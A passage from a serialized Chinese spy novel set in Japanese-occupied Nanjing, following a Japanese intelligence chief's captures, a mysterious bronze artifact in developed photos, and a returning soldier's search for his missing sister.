这是黑木第一次来到这座城市,第一次喝醉。如果说上次的庆功宴上,黑木在下属和数名区公所所长面前,黑木还稍稍保持着矜持,而这晚的宴会,黑木则是完完全全失态了。 喜欢喝酒的人都知道,喝酒喝的其实是一种心情。通常两种心情最易让人贪杯,一种是大悲,另一种是大喜,大悲的时候,人是沉沦的醉,大喜的时候,人是忘情的醉,但无论哪一种醉,都是一种真性情的流露。因而这两种心情,常常成为了人们买醉的理由,有人说:今儿个心情不好,我要喝一杯;有人说:今儿个心情高兴,我要喝一杯,由此看来,心情的好坏都是醉酒的祸首。 黑木这晚的心情高兴到大喜的程度,具体喜从何来,只有他内心最清楚,当然刘云雄的归顺是最主要的原因,尽管这里面还夹杂着一丝小小的疑虑,不过,松井石根将军的褒奖是他的快乐之源。 昨天傍晚,黑木从老虎桥监狱回到松机关,第一时间向松井电告了他的阶段性成果,他重点汇报了刘云雄的彻底转变,附带提到了文化泄密事件的侦破进展,并信誓旦旦承诺它的告破将指日可待。松井闻听后大为欣慰,或许是他觉得前一段时间因为文化泄密事件震怒了天皇而对黑木的苛责太过严厉,这一次的通话松井是一个劲地鼓励和安抚且褒扬黑木的工作尽责,这让黑木整个人像打了鸡血一样,立即焕发出勃勃生机。 加上秦淮区公所的丁易白在宴会的从头至尾不断的献媚敬酒,黑木一下子忘乎所以,到了后面几乎是来者不拒,渡边的挡酒也被他断然拒绝,故而这一次的醉酒是彻彻底底,醉到甚至连如何回松机关也不记得了。 这一醉昏天黑地,临到晌午时分,黑木才得以醒来,他从床上爬起,怔怔地坐在床上发愣了数分钟,脑袋依旧炸裂般疼痛,思维也几乎是迟滞的,他喝了一大口冰凉的隔夜浓茶,仔细回想今天要做的事…… 这一思索,他才知道今天有不少事情等着他去做。 首当其冲,是继续并加大对林赤的审讯……松井将军有过交待,今天他需要亲自接见刘云雄,由黑木安排专人专车将刘带到他的汤山司令部……另外,印象中,昨夜的宴会上赤盟会的陶会长似乎有什么事情要请示他,对了,是关于他想成立一家车行,想让黑木特批给他一百辆黄包车的运营牌照……陶天阙确实需要和他好好谈谈了,军统嫌犯林赤作为他的照相馆的伙计,他陶天阙难脱干系!……此外他还需要了解一下跟踪池碧疆有没有什么最新进展,这一夜下来,池碧疆有否异动?……还有,电讯股的稻田勇带着他的组员在南京城一夜游荡下来,有没有什么新的收获?……最后,那位疑似林赤的女朋友、利民诊所的女医生到底何时抓捕合适?…… 这章没有结束,请点击下一页继续阅读!这个时候,黑木还不知道昨夜发生的一切,他不知道那位诊所的女医生曲思秋已经沦为了他们的阶下囚,他也不知道渡边和川上为了汇报最新成果,已经好几次前来敲门了,无奈他实在醉得厉害,对反复的敲门声以至于充耳不闻。 回到松机关他的办公室,黑木刚刚坐下,川上和渡边几乎是不约而至。 两人一前一后敲门进来,汇报的竟然是同一件事情:侦听车昨夜大有斩获,敌人利用移动的车辆发报,行动队员带领他的组员一路追踪并实施了抓捕,当场击毙了轿车司机,抓获了发报人员,发报人员居然是利民诊所的曲思秋医生! 只不过,川上的汇报把抓捕的行动队员说成了稻田等人,而渡边则说成了李泉等人。 这对于黑木来说,又是一个天大的好消息,他没想到侦听车才投入使用就取得了如此巨大的成果。 此时此刻,渡边和川上均坐在黑木面前的沙发上,目不转睛地盯着黑木,期望黑木说些对他们有利和勉励的话。 黑木听到这里,心中欣喜地想,他的好运气终于来了。 “那位女医生果然有问题。” “是的将军,看来我们的直觉是正确的!”渡边附和。 “我已经把这件案子移交给了渡边少佐。”川上补充道。 “很好,这件事就由渡边小姐牵头,并和林赤的案子并案审讯。”黑木用嘉许地目光扫了扫二人,“如果这位曲小姐果真是林赤的女朋友,那……哈哈……真有意思,我就不信他们不开口!” “这容易啊,两人一起审,看表情就能看出来了,只要我们对其中一人用点刑,另一方还会坐得住?”渡边的脸上充满了憧憬。 “还有,这次抓捕还有一个意外的收获!”朴实的乡下人川上麻衣对这种在他看来比较下作的刑讯手段内心排斥,连忙转移了话题。 “川上中佐所说的是那本密码本吧?”渡边的大脑快速转动,她必须尽量把自己在抓捕曲医生这件事上所发挥的主导作用彰显出来。 “是的,我们发现了敌人的密码本。”川上看都没看渡边一眼。 “搞到敌人的密码本了?太好了!” “只是不知道这密码本是隶属哪方面的……不过依我看来一定是军统的。”川上道。 “那也未必,这要看曲医生的具体身份,她是哪方面的人,密码本就属于哪方面的!”渡边总是和川上唱反调。 “犯人现在关押何处?”黑木问。 “在地下室拘留室。不过我一大早已经和武内典狱长联系过了,让他给我们准备一间单独监室,我想犯人还是收治到老虎桥监狱更安全!” “你做得对。”黑木颌首。 “将军,你要不要见一见那位女医生?”渡边道。 “先不用,我很忙的……”黑木联想到今天的一些事情,转头吩咐川上:“川上君,你今天辛苦一趟,替我把刘云雄送到汤山司令部,松井大将要接见他!” “是将军!” “那你赶紧安排,松井将军还等着呢!” 川上匆匆走了出去,黑木把身体向渡边身旁挪了挪,换成另一种轻柔的语气:“渡边小姐,你对曲思秋这件事怎么看?” “将军的意思是……”渡边快速思索着黑木这句话的弦外之音,豁然开朗道:“不管怎么说,曲医生的抓获起码说明池碧疆也有问题!” 黑木表现出很满意的样子,“渡边小姐一语中的。” 渡边一脸喜色,“是不是可以断定,池碧疆不是重庆方面的,就是延安方面的?” “可以这么推断。” “那要不要马上把他抓起来?” 黑木缓缓摇着脑袋,“证据,我要的是证据!我最讨厌刑讯逼供了!” 渡边脱口道:“我马上安排跟踪的队员加强监视!” “如果他知道了曲思秋被捕,肯定坐不住了!”黑木自己也坐不住了,双手撑起茶几站起身来,在房间里来回踱步,数圈下来,对渡边发出了最新指令:“你吩咐你的队员,对池碧疆的监视一定要慎之又慎,千万要隐藏行踪,还有,观察要细致,要善于从一些蛛丝马迹发现一些有用的线索,尽快找到铁证,坐实他的身份……还有,今天你亲自押送曲思秋去一下老虎桥监狱,并继续加大对林赤的审讯,今天的审讯,不要让他们二人见面……这样的好戏,只能少得了我这样的观众?我必须在场亲自见证!” “是将军,我这就去办!” 黑木回到他的办公桌前,有意无意说道:“今天,我还有一件重要的事要做,我要会一会陶天阙了,而且刻不容缓,我倒要问问他,他名下的两家店铺,一家照相馆,一家诊所,为什么都出现了和皇军为敌的人,是偶然还是必然,他陶天阙欠我一个交待!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第155章 始现庐山真面目 这一天天还没有完全亮,赵楷便匆匆起了床,在黎明前的晨曦中悄悄潜入了悦颜照相馆。 他一直惦记着曲思秋托付给他的一筒胶卷,这筒胶卷据曲思秋讲,是一名唐突的日本鬼子在造访利民诊所时不小心遗落下来的,和曲思秋一样,他同样对这筒胶卷充满了好奇心,只是其中即使藏着天大的秘密,想了解它记录的影像只有唯一的途径,那就是将它冲洗出来。 自从林赤被捕之后不久,悦颜照相馆已被日本人贴上了封条,它的重新开张只能期待着日方的许可,从某种程度来说,利用悦颜照相馆的设备冲洗任何照片都是非法的,从安全角度考虑,赵楷必须选择一个隐蔽的时间段潜入照相馆,才能心安理得地将这筒胶卷从容地冲洗出来。 这段时间以来,赵楷不可谓不忙,林赤交待给他的事情已被他提上了议事日程,作为南京城的首富,陶天阙有着敏锐的商机意识,他也知道在南京城的现阶段组建一家黄包车车行,将会给他带来滚滚财富,故而,当林赤登门拜访向他提出这样的想法时,他们是一拍即合! 陶天阙天生就是一个精明的商人,他对逐利累财是发自骨子里的喜好,抛开乐善好施这一优良的品德外,陶天阙具备了所有优秀商人的共性,那就是善于发现机遇并牢牢抓住机遇,他做事雷厉风行的风格让他一刻也不想耽搁,所以在他经过短暂的计划后便立即责令赵楷全权负责并着手实施,因而这几天以来,赵楷白天几乎都在操心此事。 从这个意义上讲,赵楷利用黎明前的时间段潜进照相馆冲洗照片也是不得已而为之。 赵楷驾车来到照相馆,见四下无人偷偷揭开了大门上的封条,然后闪身进了照相馆里。 一切轻车驾熟,经过显影的胶片很快呈现在赵楷眼前。 赵楷把胶片对着灯光观察了一会儿,发现只是一些鬼子军人的合影,此外在胶卷的后面,还有数幅来自于不同角度的、看起来不伦不类的物件的特写。 既然看起来费力,那就把它洗出来。 接下来,赵楷所要做的就是将这些底片转变成直观可看的照片,这一环节没有任何技术难度。 天亮之际,胶卷里的十来张照片一目了然。 翻过一些鬼子的合照,赵楷细细察看,他忽然将目光停在了后面的几张照片上。 一共五张较为清晰的照片,分别从前后左右以及上方五个角度拍摄了同一个物件,这个物件长相怪异,像是一头凶恶的老虎在吞食一个人,从照片上看不出该物件的具体尺寸,但对照它的背景可以推测该物件体型还算比较大的,应该比家用的洗脸盆略大,从质地上看,应为金属,虽然照片只是黑白的,但几乎可以断定,铸造它的材料应为青铜一类。 赵楷再细细研看,发现这个器物的工艺极其精湛。 尽管心中疑虑重重,但局限于赵楷的见闻不广,看到后来,他还是觉得索然无味,就把这一叠照片收进了口袋。 反正是曲思秋托付给他的事情,还是等利民诊所开门后把它交给曲思秋吧。 想到这里,赵楷伸手看表,发现已经六点多了,便连忙关上了暗室的灯,匆匆出了房间。 外面果然天色大亮,已依稀听到街上有往来车辆的喧嚣声。 赵楷必须抓紧时间赶回陶府,每天早晨早餐后都是他第一时间送陶楚歌来利民诊所上班,这是陶天阙布置给他的任务。除了这个原因,他还要做到尽量不让陶天阙发觉他一大早就外出了,尽管这不是什么见不得人的事情,但凭空多出一些枝节出来也没有什么必要、 三元巷的陶府门前,赵楷把车停好后,推门进去的一霎那,他发现陶天阙已经在院子里遛他心爱的鸟了。 “会长早!”赵楷大大方方和陶天阙打了声招呼。 果然,陶天阙不经意问道:“这么早,你出去办事了?” 再瞒他已不妥,赵楷走近陶老会长,“昨天傍晚诊所里来了一个日本人,好像说是找一个人,搜了一会儿什么也没发现就走了,后来曲小姐在他待过的地方发现了一筒他遗落下来的胶卷,曲小姐好奇,就让我把它洗出来,您也知道,我们的照相馆现在被日本人封了,只能偷偷地进去,我这是刚从照相馆回来……” “洗好照片啦?” “嗯,一共十几张照片,都是些日本人的合影……” 陶天阙听到这儿,向赵楷挥了挥手,示意赵楷可以走了,然后把注意力聚集在他面前的鸟笼里,对着里面的那只精致的尤物不停地吹着口哨。 那只尤物很是通人性,便附和着叽叽喳喳鸣叫起来。 赵楷便埋头往大厅走去,走到半路,忽然想起了照片里的那个古怪的器物……说不定见多识广的老会长一定能够看出名堂,想到这里,赵楷又折了回来。 “陶老会长……照片里有个器物透出古怪……” 陶天阙恋恋不舍把目光收回,问道:“什么器物?” 本小章还未完,请点击下一页继续阅读后面精彩内容!赵楷赶紧从口袋里掏出一叠照片,把那几张关于器物的特写照片翻到上面,递给了陶天阙。 陶天阙漫不经心接过照片,目光聚焦片刻,突然把照片拉远了一些距离,细细端详起来。 “你快说说,这照片怎么来的?”陶天阙急切问道。 “是一个身份不详的日本人落在诊所里的……他本来是去诊所找一个人……” “你快去大厅里茶几上把我的老花镜拿来!” 赵楷看到陶天阙一脸凝重,不假思索跑向客厅,取出眼镜后赵楷又即刻返回。 陶天阙依旧站在原地一动不动,手里的那几张照片被他在面前反复推拉。 接过赵楷手中的老花镜,陶天阙迫不及待把它架在鼻梁上。 戴着眼镜的陶天阙神色忽然严肃起来。这样的神色赵楷已经有些年头没看到了。 “如果我没记错,日本的东京博物馆有一个一模一样的……”陶天阙仿佛在喃喃自语。 赵楷欲言又止,此情此景,他不敢贸然打扰了老会长。 “它叫什么来着?……虎兽……食人……食人虎兽尊?……对没错,就是食人虎兽尊!” 赵楷再也忍不住了:“……这个东西很值钱吧?”赵楷试探问道。他本身就是一个俗人,在他的眼里,任何器物的尊贵都是可以用钱来衡量的;而它的价值几何也是他衡量的唯一标准。 “这岂是可以用钱来计算的?”陶天阙语气不屑。 赵楷立即显得一副茫然的样子,依他的经验,从来还没有一件器物是不能用钱来度算的,所以,陶天阙的回答对他来说,跟没有回答没什么区别,他心痒难抑,大脑飞转,忽然觉得有必要换种思路去寻求答案。 “这种老古董看样子不就是青铜器物吗?您家里不多的是?” “没有可比性!没有可比性!”陶天阙反复重复着这一句话。看赵楷依然不开窍,陶天阙又道:“这么说吧,这件器物是我们华夏五千年文化的精髓!它也是华夏文明的起源!更是我们华夏文明的最有力的见证!” 赵楷有点懂了,马上发表了自己的见解,“您的意思它是无价之宝?” “是!”陶天阙斩钉截铁道,“任何被标注上价格的物件都是俗物!” 赵楷这下彻底明白了,讨好道:“陶老您怎么知道这么多?” “我留学日本的时候,曾经去过东京博物馆,当时我所看到的和这件宝物如出一辙。”陶天阙一边说一边打量着照片,忽然有所悟道:“不对,东京博物馆的食人虎兽尊和眼前的这件有区别!” 赵楷随口问道:“什么区别?” 陶天阙反复对比着几幅照片,“东京的那只食人虎兽尊和这一只的老虎坐姿是两个方向!”说到这儿,陶天阙更兴奋了,“这么说来,这原来是一对!” “如果是这样,这一只岂不是价值连城?”赵楷发现自己又把它和钱联系在一起,即刻改口道:“这两只如果不能合二为一,就是不完美的?” 这时,餐厅里忽然传来陶楚歌脆脆的声音:“爷爷,该用早餐了。” 陶天阙这才把照片合在一起,刚想递给赵楷,又缩手从里面抽出一张,放进了口袋,“这一张我先保留着,你如果有机会再给我洗一套,包括里面日本人的合影,我都需要!其它的你还给曲小姐。”陶天阙说到这儿蓦然想起了什么,叮嘱道:“你让曲小姐不要把这些照片流失出去,这里面大有名堂!” 赵楷不停点头,决然说道:“我明白了!” 吃完早餐,赵楷载着陶楚歌向利民诊所疾驰而去。 抵达利民诊所后,赵楷和陶楚歌双双下车,推门进了诊所。 诊所里只有罗蔓在,赵楷漫不经心问道:“曲思秋呢?” “我不知道呀,我起床后就一直没看到她!”罗蔓无奈摊摊双手。 “是不是回家了?”赵楷询问陶楚歌。 “不应该吧,如果她回家应该和我打声招呼的!她昨晚没提起过啊!”陶楚歌说着抢先进了卧室,查看一番后出了房间说道:“她应该没回去,她的包还在,平时她出门都会带着她的包的!” 罗蔓也奇怪起来:“那她会去哪里呢?我从起床到现在已经快两个小时了,一直没见她的人影!” 听到这儿,陶楚歌不知怎么忽然揪心起来,联想到林赤的被捕,心里有了一种不祥之兆,无助地看着赵楷,焦急说道:“赵大哥,思秋姐不会出什么事吧?” 赵楷也着急起来,再次盯着罗蔓,“她出去就没和你打招呼?” “没有呀!” “再仔细想想!” 见罗蔓依旧摇头,赵楷沉思片刻,断然道:“你去过她家?我开车带你,咱们去一趟她家!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第156章 曲营长归来 在罗蔓的指点下,心急火燎的赵楷几乎是一口气将车开到了三条巷,巷子很窄,轿车无法通行,赵楷骂了一声娘,二人弃车向巷内跑去。 来到曲思秋的家,院门紧闭,赵楷二话没说,抬手一通捶门。 没多久,院内出现一个女人的声音,疑惑问道:“谁呀?” “曲思秋在家吗?”赵楷迫不及待喊话。 女人迟疑着,脚步声不紧不慢近上前来,罗蔓补充道:“阿姨,我是罗蔓。” 这下脚步声急骤起来,门被打开,探出一个中年女人的脑袋,先是打量着赵楷,探问道:“你是?”目光收回再看看罗蔓,“罗小姐,是你呀!”她的身子依旧堵在门口,似乎并没有让客人进门的意思。 “阿姨好!”罗蔓嫣然一笑,“思秋回家了吗?” “思秋不是和你在一起吗?她没有回家啊!”看到罗蔓皱了皱眉,女人又道:“我女儿她怎么啦?” 这个中年女人正是曲思秋的母亲柳兰。 “我早晨起床后一直没能看到她……都两个多小时了……” 柳兰这才慌张起来,和天下所有的母亲一样,顿时显得手足无措。她打开大门把他们迎进院子,一关上院门便焦急问道:“难道思秋就没有其它什么地方可去?” “最近一段时间,她一直和我住在诊所里,即使出去办事,她也有打招呼的习惯。” 柳兰表情痛苦地在原地打转,一时没了主意。 就在这时从里屋匆匆跑出两个男人,其中一位年龄长者罗蔓认识,是曲思秋的父亲曲怀齐,另一位看上去年纪只比自己大几岁,从没见过,两个男人几乎是异口同声问道:“思秋出什么事了?” 柳兰把目光落在年轻的那一位身上,眼神里有些许苛责,似乎是在责怪他不该现身,但那位年轻人视而不见,径自走到赵楷面前,盯着赵楷看了足有十秒钟,问道:“这位仁兄怎么称呼?” 他目光凛凛,看得赵楷有些气恼,便反问道:“你又是哪位?” 年轻人还没说话,罗蔓抢着替他回答道:“他是思秋的哥哥。” 所有人都立即诧异地看着罗蔓,罗蔓被众人盯着有些不好意思,正要给自己辩解,那位年轻人气势咄咄逼人:“你怎么会知道我?” 罗蔓扑哧一笑:“哎,别忘了前些日子我就住在你们家,睡的床就是你的床,你的卧室墙壁上挂着你的照片呢!照片上的你穿的是军装,比你现在帅!” 曲怀齐夫妇瞬间明白了,年轻人又分别看了曲怀齐夫妇一眼,问道:“这是怎么回事?” 柳兰忙道:“是这样的,前些日子罗小姐受了些伤,思秋把她带回家休养,我就把她安顿在你的房间。” 年轻人了解清楚后,不再纠缠这个细节,而是重新把目光盯着赵楷,“是的,我就是曲思秋的哥哥,我叫曲思冬,这位仁兄怎么称呼?” 是的,此人正是消失了很长时间的原南京城防司令部少校营长、带队从紫金山突围后销声匿迹了很久的华帮抗战大队的副大队长曲思冬。 赵楷也不再存有戒心,坦然道:“我叫赵楷,和曲思秋拥有一个共同的老板,这个老板就是南京赤盟会会长陶天阙老先生。” “思秋不是在应天教会医院吗?她的老板是个美国老女人,什么时候换成了中国人?这又是怎么回事?”曲思冬问父亲。 由此看来,这位曲队长应是刚刚回家,很多有关妹妹的细节父母还没来得及讲。 “年底前思秋就离开了教会医院,在陶天阙开的临时诊所里帮忙。”曲怀齐赶紧解释。 “是的,思秋一直在诊所里帮忙看病,这家诊所叫利民诊所,就在中山中路大华电影院对面,在我们照相馆的隔壁。” “照相馆?”曲思冬随口插了一句,“悦颜照相馆?” “你也知道悦颜照相馆?”轮到赵楷发问。 “你认识林赤?”曲思冬有意无意问道。 “怎么?你也认识林赤?”赵楷心中惊奇,看到曲思冬微微点头,便一脸得色道:“当然认识喽,我们同生死共患难过,好得跟一个人似的……”说到这儿,赵楷神色忽然黯淡下来,这一细微的变化没有逃过曲思冬的眼睛,他脸上游过一丝疑虑,淡淡问:“林赤现在可好?” 赵楷沮丧道:“他不好……他被日本人抓起来了!” 曲思冬一家听到这样的讯息,立即被震惊了,柳兰率先惊呼起来:“那孩子被鬼子抓了?” 曲怀齐:“什么时候的事?” 曲思冬:“发生什么了?” 赵楷蹙眉道:“被抓进去两天了,抓捕林赤是在夜里,就在照相馆里,只有他一人,没人知道具体发生了什么,但是碰巧那天夜里曲思秋返回诊所,看到了他被抓的这一幕……林赤还和日本人发生了枪战,早晨我来的时候照相馆里全是血……这也是我们担心曲思秋的原因……林赤被捕后,最难过的恐怕就是思秋了……” 柳兰一边听一边呐呐自语:“可怜的孩子……”当她听到后来赵楷话中提到女儿不见的现状时,心又是一紧,马上回到现实,无助地拽起儿子的手,近乎绝望的语气:“冬儿,你说你妹妹会不会出了什么事?” 本小章还未完,请点击下一页继续阅读后面精彩内容!曲思冬拍了拍母亲的肩膀,宽慰道:“妈,您先别急,让赵先生把话讲完。” 柳兰稍稍安静了下来。曲怀齐想了想道:“这么说,林赤这孩子被抓的那天正是秋儿回家的那一天,我记得那天她是很晚才返回诊所的……”曲怀齐说到这里,把目光聚在罗蔓身上,“那天晚上你不是和秋儿一起回去的吗?你也看到了吧?” “我听到密集的枪声,吓得没敢看,但思秋看到了所发生的一切……”罗蔓说着言语犹豫起来,“从那晚后,思秋就不对劲了,整个人魂不守舍的样子!” 柳兰继续重复着她的那句话:“可怜的孩子……”也不知她的这句话言外之意是指哪一个孩子可怜,或许兼而有之。 曲思冬沉吟着,半晌抬头问赵楷:“前些日子,你们照相馆有没有去过一人找林赤?” 赵楷思索着道:“有啊,你是说那位叫做钱瑾余的吧?” “对,就是他,他现在何处?” “他也被日本人抓了,但是比林赤被抓要早,听说好像是在执行一项任务时失手被日本人抓住的……” 曲思冬听到这里,再也无法泰然处之,他在院子里来回走了十几步,把赵楷拉到一侧,轻声询问道:“赵兄,林赤的身份你知道吗?” 赵楷点头,自豪说道:“我知道的,我和他一起去的上海,我们一起执行了劫持鬼子车辆,并救出了一位旅长的夫人,并一起驾车把她带回南京……” “你是指秦素芬吧?” “对,就是那个傲慢地女人……咦,你怎么也知道她?” 曲思冬并没有直接回答他的话,“这么说来,回来经过紫金山时,把秦素芬托付给一支队伍时,你也在场?” “当然,领头的我至今还记得,是个小伙子,叫做……凌鼎天?” “嗯,没错!”曲思冬对赵楷已没有任何戒心,更加压低声音问道:“那你一定知道如何联系林赤的组织?” 赵楷摇头:“这倒不清楚,林兄弟从来没有让我介入过他们组织具体的人和事……” 曲思冬不甘心道:“那他们中的一些人你总该见过吧?” 赵楷想了一会儿,一拍脑袋道:“有一个人叫做曹响亮,还有一个受了枪伤在诊所治疗的中年人,他们走得很近,应该是林赤组织的人……” 曲思冬急着追问:“你知道如何才能联系到他们?” “可惜没几天他们很快就都离开了,林赤再也没有让他们出现过。” 曲思冬有些失望,怔怔站在原地,思索良久转头对赵楷说道:“待会儿,你带我去一趟你们的诊所,我在那里等我妹妹。”说完曲思冬走近曲怀齐夫妇,对他们道:“爸妈,我和他们出去一趟,妹妹的事情,你们不要担心,有我在,她不会有事的!” 柳兰眼睛已经微微发红,见儿子如此回答,像是立即吃了一颗定心丸,脑袋像小鸡啄米般连连点头。曲思冬这时又把父亲拉到一旁,低声道:“冯勇敢先暂时呆在我家里,有什么情况我回家叫他!” 曲怀齐高声咳嗽一声,算是作答。 曲思冬于是独自一人进了房间,厅堂里小个子冯勇敢正静静坐在一张椅子上,看到队长进来,冯勇敢起身相迎。 “是不是出什么事啦?” “你还记得林赤吗?” 冯勇敢频频点头,“记得记得!我一辈子都忘不了他!他还教我枪法,我记得最清楚的就是他曾说过,作为一名优秀的枪手,首先是要相信自己的武器,其次是要坚信自己的枪法!” “哦?难怪你小子最近打枪这么准!原来有高人指点啊!” “凌鼎天队长被鬼子狙击手击毙那天,如果不是得到他的那番话,说不定我们都死在鬼子的枪下了!” “他被鬼子抓了……”曲思冬黯然道。 “什么?”冯勇敢大惊失色,“要我做什么?” “勇敢,你先在我家歇歇,有些情况我必须先了解清楚!我必须亲自处理!” “需要我队长您一定的招呼一声,我义不容辞!”冯勇敢期待地看着曲思冬。 “现在不用,需要的时候我会通知你!”曲思冬说完又叮咛道:“我不在的时候,你哪儿都别去,这段时间,就在我家好好休息!” “是队长!” 曲思冬重新走出院子,对赵楷挥了挥手,“我们走吧!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第157章 迟来的登门 当曲思冬跟着赵楷他们回到利民诊所时,已将近上午十点。 曲思冬乘赵楷停车之际,率先冲进了诊所,诊所里只有陶楚歌一人,依旧不见曲思秋的踪影。 陶楚歌正在看书,看到一名年轻男人冒冒失失闯了进来,也不说话,而是四处打量,正要责问,紧随而至的罗蔓连忙介绍道:“这是思秋的哥哥,他叫曲思冬。” 陶楚歌这才知道曲思秋居然还有个哥哥。 “思秋还是没有回来。”陶楚歌一脸惆怅。 曲思冬对陶楚歌点了点头,一言未发,又打开房门,赵楷停好车正迎面走来,曲思冬一把拉住他的手臂,低声道:“赵兄,能否借用一下你的车?” “你要出去?”赵楷边说边从衣兜里掏出车钥匙,塞到曲思冬手里。 “直觉告诉我,思秋出事了,我不能就这样干等,总要做点什么!” “你想怎么办?” “我认识一个人,他一直替日本人做事,我想去他那里打听打听,看有没有新的线索。” “时间久吗?”赵楷看了看手表,“中午前后,我必须赶回。” 曲思冬也看了看手表,“时间还是有点紧张,我尽量!”说完曲思冬头也不回向停车处走去。 赵楷看着曲思冬的背影,无奈地摇摇头,心想,这个人太霸道,霸道得有些不讲理!尽管在和曲思冬的对话中,他并未详细告知他的身份,但赵楷已隐约知道这个人一定不简单。正思忖间,拉开车门的曲思冬又扭头对赵楷说道:“还是烦劳赵兄送我一趟吧,万一赶不回来,耽误了赵兄的正事可不好!” 赵楷又接过曲思冬手中的钥匙,钻进驾驶室,一面点火启动一面问道:“曲兄弟这是要去哪里?” “火瓦巷。” 汽车停在了火瓦巷的池碧疆府邸前。 “你熄火在车里等我。” 曲思冬下车来到院门前,挥手敲门。 院门打开,红霞探出脑袋,看了看曲思冬,又看了看不远处的轿车,狐疑问道:“你找谁?” “阿姨不记得我了?我叫曲思冬,是你女儿池橙的朋友!” 红霞细细一看,惊讶道:“哦,看我这记性,原来是思冬!”她匆忙打开大门,亲切中显出愧疚,扶着曲思冬的手臂把他迎进院内,“你可是我家的恩人!”说完又打量了车内赵楷一眼,说道:“要不要让你朋友一起进来喝杯茶?” “不用了,阿姨。” 关上院门的红霞立即扯着嗓子大喊道:“橙儿,快下楼,你看谁来啦?” 两人进了大厅,很快听到池橙从房间趿拉着鞋出门的声音,嘴里叫道:“是不是思秋姐来了?”转瞬间已到了楼梯口。 对男女之情天生腼腆的曲思冬很不情愿当着红霞的面,和池橙在这样的情境下相见,便赶紧挑了一张背对楼梯的椅子坐下,耳里听到池橙已下到大厅的楼梯口,她的脚步忽然停滞了,这停滞也仅仅数秒钟,她的脚步蓦然急促起来,像是踩着鼓点一下子冲到了曲思冬的背后,这时脚步又缓了下来,曲思冬已听到池橙激动的喘气声,还没来得及细思,池橙已旋即闪到他的面前,惊喜地呼喊道:“啊?怎么是你?!” 曲思冬不自然地站起身来,一脸羞赧,竟然不敢正视池橙的眼睛。 池橙二话没说,管她母亲在不在场,一把紧紧搂住了曲思冬,把头埋在曲思冬的胸前,居然呜咽起来:“你去哪里了?” 红霞见此情景,无限感慨。尽管觉得女儿少了一份应有的矜持,但架不住视觉的冲击所带来的震撼,不禁一阵心酸,眼睛于是湿润起来,赶紧转头说道:“我去给思冬泡杯茶!”说着就离开了。 胸前的池橙抬头看曲思冬,曲思冬依旧不敢正视她的目光,双手不自觉地想松开池橙的手臂,岂料池橙抱得更紧了,“你离开后,我天天想你……”池橙又把脑袋埋在曲思冬的怀里,嗫嚅道:“你也不带我走……” 曲思冬虽是铁血男儿,但也是有血有肉之人,听到这样的表白,内心悸动,双手本是想去解开池橙的环抱,便顺势将池橙搂住。 至此,池橙方知自己的一往情深终于得到了对方肯定的回应,这也是曲思冬第一次对她明确表露自己的心迹,尽管是用的是肢体语言,但这已足以让池橙心潮澎湃,她煞那间有得寸进尺的冲动,双臂上移,勾住了曲思冬的脖子,想让他和自己对视。 曲思冬于是看她,池橙埋怨道:“你怎么才来看我?” 曲思冬沙哑着嗓子道:“我是来找你父亲的……” 这个回答池橙微微有些失望,但马上被另一个好奇的念头覆盖,迫不及待问:“你不是很讨厌我父亲给日本人做事吗?怎么会来找他?” 曲思冬拍拍池橙的后背,松开了她的手臂。 “正因为他替日本人做事,我才来找他!”曲思冬说完觉得这句话有点过,完全是责备的意味,忙换成了另一种语气:“我想向他打听一件事!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我爸上班去了。” 端着茶杯走来的红霞听到曲思冬的话,在不远处问道:“你找老池有什么事?” 曲思冬刚要说,池橙抢过话道:“肯定又是他帮日本人干了一些伤天害理的事!” “橙儿,不许胡说,你爸可不是那样的人!”红霞白了女儿一眼,把茶杯放在桌上,对曲思冬道:“冬儿,你坐,喝点热茶暖暖身子。” 红霞改称思冬为冬儿,显然已经默许了他成为女儿男朋友的身份。 这个称呼让曲思冬有些脸红。 “老池上班去了,要不等他回来?” “事情急吗?”池橙问。 曲思冬扫了二人一眼,“思秋不见了。” 池橙一脸惊愕,急忙追问道:“她怎么会不见了呢?”说着又补充道:“我前几天还见到她了,她来找过我!” 红霞也关切问:“什么时候的事?” “今天早晨就不见了,她们诊所的人来我家找她,我才得知了此事,我感觉她应该出事了,否则不会不辞而别,也断然不会这么长时间不见人影……” 见红霞母女二人沉默,曲思冬继续道:“如果是出了意外,我觉得最可能的就是被日本人抓了。” “好端端的日本人怎么会抓一个小诊所的医生?”红霞疑惑说道。 “你怎么能把日本鬼子想得那么好?他们本来就是一群混蛋加疯子!”池橙抢白了母亲一句。 “我怀疑和林赤被捕有关……”曲思冬淡淡说道。 “你是说她的男朋友林先生?”池橙问,“她的那位林先生被抓我是知道的,我看得出她很伤心!” “你家有电话吗?”曲思冬刚说完,池橙一把拉住他的手,说道:“书房就有,我帮你打通,你来问问他。” 池碧疆家的这部电话还必须通过总机转接,因此接通池碧疆办公室的座机着实花了不少时间,电话那头的池碧疆听出了女儿的声音,却未表现出应有的兴奋,只是机械问道:“橙儿,说吧,什么事?” “曲思秋不见了,你知不知道她的消息?” 池碧疆愣了片刻,语气不咸不淡:“曲思秋?哪个曲思秋?” 池橙有些生气,“就是利民诊所的曲思秋啊!你忘了?” 池碧疆有些不耐烦:“她去了哪里我怎么知道?” 池橙怒道:“她哥哥来我家了,想向你了解一下,你不是和日本人走得近吗?看看日本人有没有抓她!” 电话那头的池碧疆忽然沉默起来,好半天才说道:“我可以去帮他问问情况……不过,我和日本人的交情也没那么深,让他不要希望太甚!” “爸爸你这是什么话!”池橙恨不得摔了电话,父亲的这种薄凉的态度让她很不适应。 池碧疆不再理她,只说道:“你妈在吗?你让她接电话。” 池橙嘟着嘴,一副气愤填膺的模样,把电话塞到红霞手里,赌气道:“我爸让你接!” 身后的红霞赶紧在电话中说:“老池,思冬想……”话还没说完就被池碧疆打断,“家里来客人啦?” “是的……” 池碧疆根本不想让红霞插话,“他难得来一趟,你做点好吃的,一定留他在家吃了午饭再走,我今天单位没什么事,可以早点回家,他不是喜欢喝酒吗?我要和他好好喝上几杯!” 红霞一头雾水,她也不知道曲思冬喜欢喝酒,老池怎么会知道?心中存疑,刚要质问,池碧疆又道:“他是一个人来的?” “有个人开车送他来的!”红霞没好气说道。 “你让他一人留在我家,他不是喜欢摄影吗?我正好有些问题想讨教他!” 红霞听到这里,觉得丈夫已经神经错乱了,自己有必要提醒他一下了,见缝插针道:“我家来的是曲思冬,就是救过女儿一命的那位……” 